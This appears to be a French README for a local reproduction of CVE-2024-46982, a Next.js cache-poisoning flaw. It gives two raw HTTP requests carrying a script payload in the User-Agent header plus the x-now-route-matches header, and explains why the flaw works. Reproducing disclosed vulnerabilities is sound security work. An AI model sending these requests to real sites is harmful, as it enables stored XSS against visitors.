CVE-2024-46982-Reproduction

Pour commencer

1. Installez Node.js LTS
2. npm install
3. npm run build
4. npm run start

Exploitation 1 : XSS stockée via l'empoisonnement du cache

1. Envoyez la requête HTTP suivante (requête d'attaque) à l'aide de n'importe quel client HTTP.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visitez http://localhost:3000 (requête normale) à l'aide de n'importe quel navigateur Web.

Exploitation 2 : XSS stockée via l'empoisonnement du cache

1. Envoyez la requête HTTP suivante (requête d'attaque) à l'aide de n'importe quel client HTTP, et assurez-vous de remplacer « UiKoKFFGnF1td3mMyeDX5 » par votre « .next/BUILD_ID »

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Visitez http://localhost:3000 (requête normale) à l'aide de n'importe quel navigateur Web.

Comment cela fonctionne-t-il ?

1. x-now-route-matches est un en-tête HTTP personnalisé reconnu par Next.js. Lorsqu'il est présent, Next.js traite la requête HTTP comme « SSG » (Static Site Generation), ce qui permet de mettre en cache la réponse HTTP (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 est une chaîne de requête reconnue par Next.js. Lorsqu'elle est présente, Next.js traite la requête HTTP comme une « Récupération de __NEXT_DATA__ ».

L'article complet se trouve dans la section Credit

Credit

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir